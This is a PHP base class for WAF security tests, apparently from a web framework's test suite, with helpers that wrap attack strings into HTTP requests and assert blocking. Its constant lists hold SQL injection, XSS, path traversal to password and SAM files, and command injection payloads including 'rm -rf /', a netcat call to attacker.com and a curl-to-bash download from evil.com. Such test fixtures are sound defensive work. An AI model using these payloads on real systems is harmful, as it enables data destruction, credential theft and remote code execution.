<?php

declare(strict_types=1);

namespace Tests\Security;

use App\Framework\Http\HttpRequest;
use App\Framework\Http\Method;
use App\Framework\Http\ServerEnvironment;
use App\Framework\Http\ParsedUri;

/**
 * Base class for security tests
 *
 * Provides utilities for security testing including:
 * - Attack payload generation
 * - Request creation with malicious inputs
 * - WAF testing utilities
 * - Security assertion helpers
 */
abstract readonly class SecurityTestCase
{
    /**
     * Common SQL injection attack patterns
     */
    protected const SQL_INJECTION_PATTERNS = [
        "' OR '1'='1",
        "'; DROP TABLE users--",
        "' UNION SELECT NULL--",
        "admin'--",
        "' OR 1=1--",
        "1' AND '1'='1",
        "'; DELETE FROM users WHERE '1'='1",
        "1 UNION SELECT username, password FROM users--",
        "' OR 'x'='x",
        "1'; EXEC sp_MSForEachTable 'DROP TABLE ?'--",
    ];

    /**
     * Common XSS attack patterns
     */
    protected const XSS_PATTERNS = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src='javascript:alert(\"XSS\")'></iframe>",
        "<body onload=alert('XSS')>",
        "<input onfocus=alert('XSS') autofocus>",
        "<select onfocus=alert('XSS') autofocus>",
        "<textarea onfocus=alert('XSS') autofocus>",
        "<marquee onstart=alert('XSS')>",
        "<<SCRIPT>alert('XSS');//<</SCRIPT>",
        "<script>document.cookie</script>",
    ];

    /**
     * Common path traversal attack patterns
     */
    protected const PATH_TRAVERSAL_PATTERNS = [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "..%2F..%2F..%2Fetc%2Fpasswd",
        "..%5c..%5c..%5cwindows%5csystem32%5cconfig%5csam",
        "/etc/passwd",
        "C:\\Windows\\System32\\config\\SAM",
        "../../../../../../etc/shadow",
        "..\\..\\..\\..\\..\\.\\etc\\passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
    ];

    /**
     * Common command injection patterns
     */
    protected const COMMAND_INJECTION_PATTERNS = [
        "; ls -la",
        "| cat /etc/passwd",
        "&& rm -rf /",
        "`whoami`",
        "$(cat /etc/passwd)",
        "; cat /etc/shadow",
        "| nc attacker.com 4444",
        "&& curl http://evil.com/shell.sh | bash",
        "; wget http://malware.com/backdoor",
        "$(curl -s http://attacker.com/payload.txt)",
    ];

    /**
     * Create HTTP request with attack payload
     *
     * @param string $uri Request URI
     * @param Method $method HTTP method
     * @param array $queryParams Query parameters (can contain attacks)
     * @param array $postData POST data (can contain attacks)
     * @param array $headers HTTP headers (can contain attacks)
     * @return HttpRequest
     */
    protected function createAttackRequest(
        string $uri,
        Method $method = Method::GET,
        array $queryParams = [],
        array $postData = [],
        array $headers = []
    ): HttpRequest {
        $parsedUri = ParsedUri::fromString('https://localhost' . $uri);

        $server = new ServerEnvironment([
            'REQUEST_METHOD' => $method->value,
            'REQUEST_URI' => $uri,
            'SERVER_NAME' => 'localhost',
            'SERVER_PORT' => '443',
            'HTTPS' => 'on',
            'REMOTE_ADDR' => '127.0.0.1',
            'HTTP_USER_AGENT' => $headers['User-Agent'] ?? 'SecurityTestAgent/1.0'
        ]);

        return new HttpRequest(
            method: $method,
            uri: $parsedUri,
            server: $server,
            headers: $headers,
            body: !empty($postData) ? json_encode($postData) : '',
            parsedBody: !empty($postData) ? $postData : null,
            queryParameters: $queryParams,
            cookies: [],
            files: []
        );
    }

    /**
     * Generate SQL injection test cases
     *
     * @return array<array{payload: string, description: string}>
     */
    protected function generateSqlInjectionTestCases(): array
    {
        return array_map(
            fn(string $pattern) => [
                'payload' => $pattern,
                'description' => 'SQL Injection: ' . substr($pattern, 0, 50)
            ],
            self::SQL_INJECTION_PATTERNS
        );
    }

    /**
     * Generate XSS test cases
     *
     * @return array<array{payload: string, description: string}>
     */
    protected function generateXssTestCases(): array
    {
        return array_map(
            fn(string $pattern) => [
                'payload' => $pattern,
                'description' => 'XSS Attack: ' . substr($pattern, 0, 50)
            ],
            self::XSS_PATTERNS
        );
    }

    /**
     * Generate path traversal test cases
     *
     * @return array<array{payload: string, description: string}>
     */
    protected function generatePathTraversalTestCases(): array
    {
        return array_map(
            fn(string $pattern) => [
                'payload' => $pattern,
                'description' => 'Path Traversal: ' . substr($pattern, 0, 50)
            ],
            self::PATH_TRAVERSAL_PATTERNS
        );
    }

    /**
     * Generate command injection test cases
     *
     * @return array<array{payload: string, description: string}>
     */
    protected function generateCommandInjectionTestCases(): array
    {
        return array_map(
            fn(string $pattern) => [
                'payload' => $pattern,
                'description' => 'Command Injection: ' . substr($pattern, 0, 50)
            ],
            self::COMMAND_INJECTION_PATTERNS
        );
    }

    /**
     * Assert that request should be blocked by WAF
     *
     * @param mixed $wafDecision WAF decision result
     * @param string $attackType Type of attack (for error messages)
     */
    protected function assertWafBlocked($wafDecision, string $attackType): void
    {
        if (!method_exists($wafDecision, 'shouldBlock')) {
            throw new \RuntimeException('WAF decision does not have shouldBlock method');
        }

        if (!$wafDecision->shouldBlock()) {
            throw new \RuntimeException(
                "WAF failed to block {$attackType} attack. " .
                "This is a critical security vulnerability!"
            );
        }
    }

    /**
     * Assert that request should be allowed by WAF
     *
     * @param mixed $wafDecision WAF decision result
     * @param string $context Context for error messages
     */
    protected function assertWafAllowed($wafDecision, string $context): void
    {
        if (!method_exists($wafDecision, 'shouldBlock')) {
            throw new \RuntimeException('WAF decision does not have shouldBlock method');
        }

        if ($wafDecision->shouldBlock()) {
            throw new \RuntimeException(
                "WAF incorrectly blocked legitimate request: {$context}. " .
                "This is a false positive!"
            );
        }
    }

    /**
     * Create legitimate request (for false positive testing)
     */
    protected function createLegitimateRequest(
        string $uri,
        Method $method = Method::GET,
        array $data = []
    ): HttpRequest {
        return $this->createAttackRequest(
            uri: $uri,
            method: $method,
            queryParams: $method === Method::GET ? $data : [],
            postData: $method === Method::POST ? $data : []
        );
    }
}
